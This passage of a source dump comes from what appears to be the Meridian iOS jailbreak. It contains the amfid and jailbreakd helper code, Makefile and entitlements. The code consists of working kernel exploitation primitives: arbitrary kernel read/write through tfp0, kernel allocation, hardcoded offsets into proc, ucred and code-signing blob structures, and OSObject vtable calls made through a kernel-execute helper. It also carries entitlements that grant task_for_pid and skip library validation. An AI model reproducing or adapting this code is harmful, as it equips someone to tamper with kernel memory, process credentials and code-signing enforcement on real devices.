31 | if (err != KERN_SUCCESS) {
32 | return;
33 | }
34 | }
35 |
36 | uint64_t binary_load_address() {
37 | kern_return_t err;
38 | mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64;
39 | memory_object_name_t object_name = MACH_PORT_NULL;
40 | mach_vm_size_t target_first_size = 0x1000;
41 | mach_vm_address_t target_first_addr = 0x0;
42 | struct vm_region_basic_info_64 region = {0};
43 | err = mach_vm_region(mach_task_self(), &target_first_addr, &target_first_size, VM_REGION_BASIC_INFO_64, (vm_region_info_t)®ion, ®ion_count, &object_name);
44 |
45 | if (err != KERN_SUCCESS) {
46 | return -1;
47 | }
48 |
49 | return target_first_addr;
50 | }
51 |
52 | size_t kread(uint64_t where, void *p, size_t size) {
53 | int rv;
54 | size_t offset = 0;
55 | while (offset < size) {
56 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE;
57 | if (chunk > size - offset) {
58 | chunk = size - offset;
59 | }
60 | rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
61 | if (rv || sz == 0) {
62 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where));
63 | break;
64 | }
65 | offset += sz;
66 | }
67 | return offset;
68 | }
69 |
70 | size_t kwrite(uint64_t where, const void *p, size_t size) {
71 | int rv;
72 | size_t offset = 0;
73 | while (offset < size) {
74 | size_t chunk = MAX_CHUNK_SIZE;
75 | if (chunk > size - offset) {
76 | chunk = size - offset;
77 | }
78 | rv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, chunk);
79 | if (rv) {
80 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where));
81 | break;
82 | }
83 | offset += chunk;
84 | }
85 | return offset;
86 | }
87 |
88 | uint64_t kalloc(vm_size_t size){
89 | mach_vm_address_t address = 0;
90 | mach_vm_allocate(tfp0, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
91 | return address;
92 | }
93 |
94 | void kfree(mach_vm_address_t address, vm_size_t size){
95 | mach_vm_deallocate(tfp0, address, size);
96 | }
97 |
98 | uint16_t rk16(uint64_t kaddr) {
99 | uint16_t val = 0;
100 | kread(kaddr, &val, sizeof(val));
101 | return val;
102 | }
103 |
104 | uint32_t rk32(uint64_t kaddr) {
105 | uint32_t val = 0;
106 | kread(kaddr, &val, sizeof(val));
107 | return val;
108 | }
109 |
110 | uint64_t rk64(uint64_t kaddr) {
111 | uint64_t val = 0;
112 | kread(kaddr, &val, sizeof(val));
113 | return val;
114 | }
115 |
116 | void wk16(uint64_t kaddr, uint16_t val) {
117 | kwrite(kaddr, &val, sizeof(val));
118 | }
119 |
120 | void wk32(uint64_t kaddr, uint32_t val) {
121 | kwrite(kaddr, &val, sizeof(val));
122 | }
123 |
124 | void wk64(uint64_t kaddr, uint64_t val) {
125 | kwrite(kaddr, &val, sizeof(val));
126 | }
127 |
128 | // thx Siguza
129 | typedef struct {
130 | uint64_t prev;
131 | uint64_t next;
132 | uint64_t start;
133 | uint64_t end;
134 | } kmap_hdr_t;
135 |
136 | uint64_t zm_fix_addr(uint64_t addr) {
137 | static kmap_hdr_t zm_hdr = {0, 0, 0, 0};
138 | if (zm_hdr.start == 0) {
139 | // xxx rk64(0) ?!
140 | uint64_t zone_map = rk64(offset_zonemap);
141 | fprintf(stderr, "zone_map: %llx \n", zone_map);
142 | // hdr is at offset 0x10, mutexes at start
143 | size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr));
144 | fprintf(stderr, "zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr));
145 |
146 | if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) {
147 | fprintf(stderr, "kread of zone_map failed!\n");
148 | exit(1);
149 | }
150 |
151 | if (zm_hdr.end - zm_hdr.start > 0x100000000) {
152 | fprintf(stderr, "zone_map is too big, sorry.\n");
153 | exit(1);
154 | }
155 | }
156 |
157 | uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff);
158 |
159 | return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp;
160 | }
161 |
162 | int kstrcmp(uint64_t kstr, const char* str) {
163 | // XXX be safer, dont just assume you wont cause any
164 | // page faults by this
165 | size_t len = strlen(str) + 1;
166 | char *local = (char *)malloc(len + 1);
167 | local[len] = '\0';
168 |
169 | int ret = 1;
170 |
171 | if (kread(kstr, local, len) == len) {
172 | ret = strcmp(local, str);
173 | }
174 |
175 | free(local);
176 |
177 | return ret;
178 | }
179 |
--------------------------------------------------------------------------------
/Meridian/amfid/helpers/kmem.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | void remote_read_overwrite(mach_port_t task_port,
4 | uint64_t remote_address,
5 | uint64_t local_address,
6 | uint64_t length);
7 | void remote_write(mach_port_t remote_task_port,
8 | uint64_t remote_address,
9 | uint64_t local_address,
10 | uint64_t length);
11 | uint64_t binary_load_address();
12 |
13 | uint64_t kalloc(vm_size_t size);
14 | void kfree(mach_vm_address_t address, vm_size_t size);
15 |
16 | size_t kread(uint64_t where, void *p, size_t size);
17 | uint16_t rk16(uint64_t kaddr);
18 | uint32_t rk32(uint64_t kaddr);
19 | uint64_t rk64(uint64_t kaddr);
20 |
21 | size_t kwrite(uint64_t where, const void *p, size_t size);
22 | void wk16(uint64_t kaddr, uint16_t val);
23 | void wk32(uint64_t kaddr, uint32_t val);
24 | void wk64(uint64_t kaddr, uint64_t val);
25 |
26 | uint64_t zm_fix_addr(uint64_t addr);
27 |
28 | int kstrcmp(uint64_t kstr, const char* str);
29 |
--------------------------------------------------------------------------------
/Meridian/amfid/helpers/offsetof.c:
--------------------------------------------------------------------------------
1 |
2 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid
3 | unsigned offsetof_task = 0x18; // proc_t::task
4 | unsigned offsetof_p_uid = 0x30; // proc_t::p_uid
5 | unsigned offsetof_p_gid = 0x34; // proc_t::p_uid
6 | unsigned offsetof_p_ruid = 0x38; // proc_t::p_uid
7 | unsigned offsetof_p_rgid = 0x3c; // proc_t::p_uid
8 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred
9 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags
10 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port)
11 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port)
12 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port)
13 | unsigned offsetof_itk_space = 0x300; // task_t::itk_space
14 | unsigned offsetof_bsd_info = 0x360; // task_t::bsd_info
15 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send)
16 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send)
17 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject
18 | unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp
19 | unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff
20 | unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype
21 | unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype
22 | unsigned offsetof_special = 2 * sizeof(long); // host::special
23 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?..
24 |
25 | unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid
26 | unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid
27 | unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid
28 | unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups
29 | unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups
30 | unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid
31 | unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid
32 |
33 | unsigned offsetof_v_type = 0x70; // vnode::v_type
34 | unsigned offsetof_v_id = 0x74; // vnode::v_id
35 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo
36 |
37 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs
38 |
39 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype
40 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags
41 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset
42 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements
43 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type
44 | unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary
45 | unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path
46 |
47 | unsigned offsetof_t_flags = 0x3a0; // task::t_flags
48 |
--------------------------------------------------------------------------------
/Meridian/amfid/helpers/offsetof.h:
--------------------------------------------------------------------------------
1 |
2 | extern unsigned offsetof_p_pid;
3 | extern unsigned offsetof_task;
4 | extern unsigned offsetof_p_uid;
5 | extern unsigned offsetof_p_gid;
6 | extern unsigned offsetof_p_ruid;
7 | extern unsigned offsetof_p_rgid;
8 | extern unsigned offsetof_p_ucred;
9 | extern unsigned offsetof_p_csflags;
10 | extern unsigned offsetof_itk_self;
11 | extern unsigned offsetof_itk_sself;
12 | extern unsigned offsetof_itk_bootstrap;
13 | extern unsigned offsetof_itk_space;
14 | extern unsigned offsetof_bsd_info;
15 | extern unsigned offsetof_ip_mscount;
16 | extern unsigned offsetof_ip_srights;
17 | extern unsigned offsetof_ip_kobject;
18 | extern unsigned offsetof_p_textvp;
19 | extern unsigned offsetof_p_textoff;
20 | extern unsigned offsetof_p_cputype;
21 | extern unsigned offsetof_p_cpu_subtype;
22 | extern unsigned offsetof_special;
23 | extern unsigned offsetof_ipc_space_is_table;
24 |
25 | extern unsigned offsetof_ucred_cr_uid;
26 | extern unsigned offsetof_ucred_cr_ruid;
27 | extern unsigned offsetof_ucred_cr_svuid;
28 | extern unsigned offsetof_ucred_cr_ngroups;
29 | extern unsigned offsetof_ucred_cr_groups;
30 | extern unsigned offsetof_ucred_cr_rgid;
31 | extern unsigned offsetof_ucred_cr_svgid;
32 |
33 | extern unsigned offsetof_v_type;
34 | extern unsigned offsetof_v_id;
35 | extern unsigned offsetof_v_ubcinfo;
36 |
37 | extern unsigned offsetof_ubcinfo_csblobs;
38 |
39 | extern unsigned offsetof_csb_cputype;
40 | extern unsigned offsetof_csb_flags;
41 | extern unsigned offsetof_csb_base_offset;
42 | extern unsigned offsetof_csb_entitlements_offset;
43 | extern unsigned offsetof_csb_signer_type;
44 | extern unsigned offsetof_csb_platform_binary;
45 | extern unsigned offsetof_csb_platform_path;
46 |
47 | extern unsigned offsetof_t_flags;
48 |
--------------------------------------------------------------------------------
/Meridian/amfid/helpers/osobject.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "kern_utils.h"
4 | #include "kexecute.h"
5 | #include "kmem.h"
6 | #include "osobject.h"
7 |
8 | // offsets in vtable:
9 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F;
10 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26;
11 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23;
12 |
13 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E;
14 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20;
15 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22;
16 |
17 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05;
18 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03;
19 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04;
20 |
21 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11;
22 |
23 | // 1 on success, 0 on error
24 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) {
25 | size_t len = strlen(key) + 1;
26 |
27 | uint64_t ks = kalloc(len);
28 | kwrite(ks, key, len);
29 |
30 | uint64_t vtab = rk64(dict);
31 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP);
32 |
33 | int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0);
34 |
35 | kfree(ks, len);
36 |
37 | return rv;
38 | }
39 |
40 | // XXX it can return 0 in lower 32 bits but still be valid
41 | // fix addr of returned value and check if rk64 gives ptr
42 | // to vtable addr saved before
43 |
44 | // address if exists, 0 if not
45 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) {
46 | size_t len = strlen(key) + 1;
47 |
48 | uint64_t ks = kalloc(len);
49 | kwrite(ks, key, len);
50 |
51 | uint64_t vtab = rk64(dict);
52 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP);
53 |
54 | int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0);
55 |
56 | kfree(ks, len);
57 |
58 | return rv;
59 | }
60 |
61 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) {
62 | uint64_t ret = _OSDictionary_GetItem(dict, key);
63 |
64 | if (ret != 0) {
65 | // XXX can it be not in zalloc?..
66 | ret = zm_fix_addr(ret);
67 | }
68 |
69 | return ret;
70 | }
71 |
72 | // 1 on success, 0 on error
73 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) {
74 | uint64_t vtab = rk64(dict);
75 | uint64_t f = rk64(vtab + off_OSDictionary_Merge);
76 |
77 | return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0);
78 | }
79 |
80 | // 1 on success, 0 on error
81 | int OSArray_Merge(uint64_t array, uint64_t aArray) {
82 | uint64_t vtab = rk64(array);
83 | uint64_t f = rk64(vtab + off_OSArray_Merge);
84 |
85 | return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0);
86 | }
87 |
88 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){
89 | uint64_t vtab = rk64(array);
90 | uint64_t f = rk64(vtab + off_OSArray_GetObject);
91 |
92 | return kexecute(f, array, idx, 0, 0, 0, 0, 0);
93 | }
94 |
95 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){
96 | uint64_t ret = _OSArray_GetObject(array, idx);
97 |
98 | if (ret != 0){
99 | // XXX can it be not in zalloc?..
100 | ret = zm_fix_addr(ret);
101 | }
102 | return ret;
103 | }
104 |
105 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){
106 | uint64_t vtab = rk64(array);
107 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject);
108 |
109 | (void)kexecute(f, array, idx, 0, 0, 0, 0, 0);
110 | }
111 |
112 | // XXX error handling just for fun? :)
113 | uint64_t _OSUnserializeXML(const char* buffer) {
114 | size_t len = strlen(buffer) + 1;
115 |
116 | uint64_t ks = kalloc(len);
117 | kwrite(ks, buffer, len);
118 |
119 | uint64_t errorptr = 0;
120 |
121 | uint64_t rv = kexecute(offset_osunserialize_xml, ks, errorptr, 0, 0, 0, 0, 0);
122 | kfree(ks, len);
123 |
124 | return rv;
125 | }
126 |
127 | uint64_t OSUnserializeXML(const char* buffer) {
128 | uint64_t ret = _OSUnserializeXML(buffer);
129 |
130 | if (ret != 0) {
131 | // XXX can it be not in zalloc?..
132 | ret = zm_fix_addr(ret);
133 | }
134 |
135 | return ret;
136 | }
137 |
138 | void OSObject_Release(uint64_t osobject) {
139 | uint64_t vtab = rk64(osobject);
140 | uint64_t f = rk64(vtab + off_OSObject_Release);
141 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
142 | }
143 |
144 | void OSObject_Retain(uint64_t osobject) {
145 | uint64_t vtab = rk64(osobject);
146 | uint64_t f = rk64(vtab + off_OSObject_Release);
147 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
148 | }
149 |
150 | uint32_t OSObject_GetRetainCount(uint64_t osobject) {
151 | uint64_t vtab = rk64(osobject);
152 | uint64_t f = rk64(vtab + off_OSObject_Release);
153 | return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
154 | }
155 |
156 | unsigned int OSString_GetLength(uint64_t osstring){
157 | uint64_t vtab = rk64(osstring);
158 | uint64_t f = rk64(vtab + off_OSString_GetLength);
159 | return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0);
160 | }
161 |
162 | char *OSString_CopyString(uint64_t osstring){
163 | unsigned int length = OSString_GetLength(osstring);
164 | char *str = (char *)malloc(length + 1);
165 | str[length] = 0;
166 |
167 | kread(OSString_CStringPtr(osstring), str, length);
168 | return str;
169 | }
170 |
--------------------------------------------------------------------------------
/Meridian/amfid/helpers/osobject.h:
--------------------------------------------------------------------------------
1 |
2 | #define OSDictionary_ItemCount(dict) rk32(dict+20)
3 | #define OSDictionary_ItemBuffer(dict) rk64(dict+32)
4 | #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx)
5 | #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8)
6 | #define OSString_CStringPtr(str) rk64(str + 0x10)
7 | #define OSArray_ItemCount(arr) rk32(arr+0x14)
8 | #define OSArray_ItemBuffer(arr) rk64(arr+32)
9 |
10 | // see osobject.c for info
11 |
12 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val);
13 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key);
14 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict);
15 | void OSArray_RemoveObject(uint64_t array, unsigned int idx);
16 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx);
17 | int OSArray_Merge(uint64_t array, uint64_t aArray);
18 | uint64_t OSUnserializeXML(const char* buffer);
19 |
20 | void OSObject_Release(uint64_t osobject);
21 | void OSObject_Retain(uint64_t osobject);
22 | uint32_t OSObject_GetRetainCount(uint64_t osobject);
23 |
24 | unsigned int OSString_GetLength(uint64_t osstring);
25 | char *OSString_CopyString(uint64_t osstring);
26 |
--------------------------------------------------------------------------------
/Meridian/amfid/kern_utils.h:
--------------------------------------------------------------------------------
1 | #import
2 | #import
3 | #import
4 | #import
5 | #import
6 |
7 | kern_return_t mach_vm_read(vm_map_t target_task,
8 | mach_vm_address_t address,
9 | mach_vm_size_t size,
10 | vm_offset_t *data,
11 | mach_msg_type_number_t *dataCnt);
12 |
13 | kern_return_t mach_vm_write(vm_map_t target_task,
14 | mach_vm_address_t address,
15 | vm_offset_t data,
16 | mach_msg_type_number_t dataCnt);
17 |
18 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task,
19 | mach_vm_address_t address,
20 | mach_vm_size_t size,
21 | mach_vm_address_t data,
22 | mach_vm_size_t *outsize);
23 |
24 | kern_return_t mach_vm_region(vm_map_t target_task,
25 | mach_vm_address_t *address,
26 | mach_vm_size_t *size,
27 | vm_region_flavor_t flavor,
28 | vm_region_info_t info,
29 | mach_msg_type_number_t *infoCnt,
30 | mach_port_t *object_name);
31 |
32 | /****** IOKit/IOKitLib.h *****/
33 | typedef mach_port_t io_service_t;
34 | typedef mach_port_t io_connect_t;
35 |
36 | extern const mach_port_t kIOMasterPortDefault;
37 | #define IO_OBJECT_NULL (0)
38 |
39 | kern_return_t
40 | IOConnectCallAsyncMethod(
41 | mach_port_t connection,
42 | uint32_t selector,
43 | mach_port_t wakePort,
44 | uint64_t* reference,
45 | uint32_t referenceCnt,
46 | const uint64_t* input,
47 | uint32_t inputCnt,
48 | const void* inputStruct,
49 | size_t inputStructCnt,
50 | uint64_t* output,
51 | uint32_t* outputCnt,
52 | void* outputStruct,
53 | size_t* outputStructCntP);
54 |
55 | kern_return_t
56 | IOConnectCallMethod(
57 | mach_port_t connection,
58 | uint32_t selector,
59 | const uint64_t* input,
60 | uint32_t inputCnt,
61 | const void* inputStruct,
62 | size_t inputStructCnt,
63 | uint64_t* output,
64 | uint32_t* outputCnt,
65 | void* outputStruct,
66 | size_t* outputStructCntP);
67 |
68 | io_service_t
69 | IOServiceGetMatchingService(
70 | mach_port_t _masterPort,
71 | CFDictionaryRef matching);
72 |
73 | CFMutableDictionaryRef
74 | IOServiceMatching(
75 | const char* name);
76 |
77 | kern_return_t
78 | IOServiceOpen(
79 | io_service_t service,
80 | task_port_t owningTask,
81 | uint32_t type,
82 | io_connect_t* connect );
83 |
84 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
85 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
86 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
87 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
88 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
89 |
90 | extern mach_port_t tfp0;
91 | extern uint64_t kernel_base;
92 | extern uint64_t kernel_slide;
93 | extern uint64_t offset_zonemap;
94 | extern uint64_t offset_kernel_task;
95 | extern uint64_t offset_vfs_context_current;
96 | extern uint64_t offset_vnode_getfromfd;
97 | extern uint64_t offset_vnode_getattr;
98 | extern uint64_t offset_vnode_put;
99 | extern uint64_t offset_csblob_ent_dict_set;
100 | extern uint64_t offset_sha1_init;
101 | extern uint64_t offset_sha1_update;
102 | extern uint64_t offset_sha1_final;
103 | extern uint64_t offset_add_x0_x0_0x40_ret;
104 | extern uint64_t offset_osboolean_true;
105 | extern uint64_t offset_osboolean_false;
106 | extern uint64_t offset_osunserialize_xml;
107 | extern uint64_t offset_cs_find_md;
108 |
109 | uint64_t proc_find(int pid, int tries);
110 | uint64_t find_port(mach_port_name_t port);
111 |
--------------------------------------------------------------------------------
/Meridian/amfid/kern_utils.m:
--------------------------------------------------------------------------------
1 | #import
2 |
3 | #include
4 | #include
5 |
6 | #include "common.h"
7 | #include "kern_utils.h"
8 | #include "kmem.h"
9 | #include "offsetof.h"
10 |
11 | mach_port_t tfp0;
12 | uint64_t kernel_base;
13 | uint64_t kernel_slide;
14 | uint64_t offset_zonemap;
15 | uint64_t offset_kernel_task;
16 | uint64_t offset_vfs_context_current;
17 | uint64_t offset_vnode_getfromfd;
18 | uint64_t offset_vnode_getattr;
19 | uint64_t offset_vnode_put;
20 | uint64_t offset_csblob_ent_dict_set;
21 | uint64_t offset_sha1_init;
22 | uint64_t offset_sha1_update;
23 | uint64_t offset_sha1_final;
24 | uint64_t offset_add_x0_x0_0x40_ret;
25 | uint64_t offset_osboolean_true;
26 | uint64_t offset_osboolean_false;
27 | uint64_t offset_osunserialize_xml;
28 | uint64_t offset_cs_find_md;
29 |
30 | uint64_t proc_find(int pd, int tries) {
31 | while (tries-- > 0) {
32 | uint64_t ktask = rk64(offset_kernel_task);
33 | uint64_t kern_proc = rk64(ktask + offsetof_bsd_info);
34 | uint64_t proc = rk64(kern_proc + 0x08);
35 |
36 | while (proc) {
37 | uint32_t proc_pid = rk32(proc + 0x10);
38 |
39 | if (proc_pid == pd) {
40 | return proc;
41 | }
42 |
43 | proc = rk64(proc + 0x08);
44 | }
45 | }
46 |
47 | return 0;
48 | }
49 |
50 | CACHED_FIND(uint64_t, our_task_addr) {
51 | uint64_t our_proc = proc_find(getpid(), 3);
52 |
53 | if (our_proc == 0) {
54 | NSLog(@"failed to find our_task_addr!");
55 | return -1;
56 | }
57 |
58 | return rk64(our_proc + offsetof_task);
59 | }
60 |
61 | uint64_t find_port(mach_port_name_t port) {
62 | uint64_t task_addr = our_task_addr();
63 | if (task_addr == -1) {
64 | return -1;
65 | }
66 |
67 | uint64_t itk_space = rk64(task_addr + offsetof_itk_space);
68 |
69 | uint64_t is_table = rk64(itk_space + offsetof_ipc_space_is_table);
70 |
71 | uint32_t port_index = port >> 8;
72 | const int sizeof_ipc_entry_t = 0x18;
73 |
74 | uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
75 |
76 | return port_addr;
77 | }
78 |
--------------------------------------------------------------------------------
/Meridian/exportPlist.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/Meridian/fishhook/fishhook.h:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2013, Facebook, Inc.
2 | // All rights reserved.
3 | // Redistribution and use in source and binary forms, with or without
4 | // modification, are permitted provided that the following conditions are met:
5 | // * Redistributions of source code must retain the above copyright notice,
6 | // this list of conditions and the following disclaimer.
7 | // * Redistributions in binary form must reproduce the above copyright notice,
8 | // this list of conditions and the following disclaimer in the documentation
9 | // and/or other materials provided with the distribution.
10 | // * Neither the name Facebook nor the names of its contributors may be used to
11 | // endorse or promote products derived from this software without specific
12 | // prior written permission.
13 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
14 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
15 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
16 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
17 | // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
18 | // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
19 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
20 | // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
21 | // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
22 | // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
23 |
24 | #ifndef fishhook_h
25 | #define fishhook_h
26 |
27 | #include
28 | #include
29 |
30 | #if !defined(FISHHOOK_EXPORT)
31 | #define FISHHOOK_VISIBILITY __attribute__((visibility("hidden")))
32 | #else
33 | #define FISHHOOK_VISIBILITY __attribute__((visibility("default")))
34 | #endif
35 |
36 | #ifdef __cplusplus
37 | extern "C" {
38 | #endif //__cplusplus
39 |
40 | /*
41 | * A structure representing a particular intended rebinding from a symbol
42 | * name to its replacement
43 | */
44 | struct rebinding {
45 | const char *name;
46 | void *replacement;
47 | void **replaced;
48 | };
49 |
50 | /*
51 | * For each rebinding in rebindings, rebinds references to external, indirect
52 | * symbols with the specified name to instead point at replacement for each
53 | * image in the calling process as well as for all future images that are loaded
54 | * by the process. If rebind_functions is called more than once, the symbols to
55 | * rebind are added to the existing list of rebindings, and if a given symbol
56 | * is rebound more than once, the later rebinding will take precedence.
57 | */
58 | FISHHOOK_VISIBILITY
59 | int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel);
60 |
61 | /*
62 | * Rebinds as above, but only in the specified image. The header should point
63 | * to the mach-o header, the slide should be the slide offset. Others as above.
64 | */
65 | FISHHOOK_VISIBILITY
66 | int rebind_symbols_image(void *header,
67 | intptr_t slide,
68 | struct rebinding rebindings[],
69 | size_t rebindings_nel);
70 |
71 | #ifdef __cplusplus
72 | }
73 | #endif //__cplusplus
74 |
75 | #endif //fishhook_h
76 |
77 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/Makefile:
--------------------------------------------------------------------------------
1 | TARGET = jailbreakd
2 | OUTDIR ?= bin
3 | SRC = $(wildcard *.c) $(wildcard *.m) $(wildcard */*.c) $(wildcard */*.m)
4 |
5 | CC = xcrun -sdk iphoneos gcc -arch arm64
6 | LDID = ldid
7 | CHMOD = chmod
8 | CFLAGS = -I. -I./helpers -I./mach -framework Foundation -framework IOKit
9 |
10 | all: $(OUTDIR)/$(TARGET)
11 |
12 | $(OUTDIR):
13 | mkdir -p $(OUTDIR)
14 |
15 | $(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR)
16 | $(CC) $(CFLAGS) -o $@ $^
17 | $(LDID) -Sentitlements.xml $@
18 | $(CHMOD) 755 $@
19 |
20 | install: all
21 |
22 | clean:
23 | rm -rf $(OUTDIR)
24 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/common.h:
--------------------------------------------------------------------------------
1 |
2 | #define DEBUGLOG(syslog, fmt, args ...) \
3 | fprintf(stdout, fmt "\n", ##args); \
4 | fflush(stdout); \
5 | if (syslog) NSLog(@fmt, ##args)
6 |
7 | #define CACHED_FIND(type, name) \
8 | type __##name(void); \
9 | type name(void) { \
10 | type cached = 0; \
11 | if (cached == 0) { \
12 | cached = __##name(); \
13 | } \
14 | return cached; \
15 | } \
16 | type __##name(void)
17 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/entitlements.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | com.apple.system-task-ports
6 |
7 | task_for_pid-allow
8 |
9 | get-task-allow
10 |
11 | platform-application
12 |
13 | com.apple.private.security.no-container
14 |
15 | com.apple.private.skip-library-validation
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/Meridian/jailbreakd/helpers/kexecute.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include
4 |
5 | mach_port_t prepare_user_client(void);
6 | void init_kexecute(void);
7 | void term_kexecute(void);
